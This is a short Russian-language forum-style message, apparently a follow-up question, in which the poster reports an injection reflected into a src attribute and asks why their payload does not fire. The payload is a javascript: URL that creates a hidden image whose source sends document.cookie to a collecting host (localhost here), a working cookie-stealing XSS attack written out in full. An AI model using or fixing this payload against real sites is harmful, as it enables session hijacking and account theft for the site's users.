Забыл упомянуть важную деталь. Инъекция в коде страницы отображается как атрибут src:

src="javascript:alert(1)"

Когда добавляю этот код:

javascript:i=document.createElement('img');i.style .display='none';i.src='http://localhost/?'+escape(document.cookie);console.log(document.bo dy.appendChild(i));

то не отображается и не отрабатывает никак